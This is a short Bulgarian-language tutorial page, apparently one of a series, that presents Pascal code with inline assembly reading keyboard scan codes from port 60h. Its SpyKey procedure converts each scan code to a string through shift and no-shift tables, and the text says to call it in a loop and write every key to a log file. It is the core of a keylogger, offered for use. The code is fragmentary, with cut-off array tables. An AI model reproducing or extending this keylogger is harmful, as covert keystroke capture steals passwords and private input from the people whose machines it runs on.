Започваме със основата - как хващаме копчето :
{nujnite za primera
globalni promenlivi} {tablici sus
string-ovete za kopchetata} Hi:
array[1..88] of string
= ( procedure SpyKey; begin asm in al, 60h {kopcheto vuv al} mov Key, al {al vuv Key} end; {malko
obrabotka na Key, za da se vidi sustoqnieto na shift} {ako kopcheto e razlichno ot staroto togava...} begin OldKey:=Key; {novoto kopche vuv Oldkey} if Key<=88 then {ako e natisnato kopche} begin if LShiftUp and RShiftUp then St:=Low[Key] {nqma shift => vzemi ot tablicata low} else St:=Hi[Key]; {ima shift => vzemi ot tablicata hi} end else if Key - 128 <= 88 then {ako e otpusnato kopche} begin if LShiftUp and RShiftUp then St:=Low[Key - 128] {nqma => shift vzemi ot tablicata low} else St:=Hi[Key - 128]; {ima => shift vzemi ot tablicata hi} end; end; end; |
Това е !! В момента в St имате string-а на натиснатото копче. Задачата е в някакъв цикъл да извиквате SpyKey и да добавяте копчето във log файла.
Другите добавки по-нататък...
назад |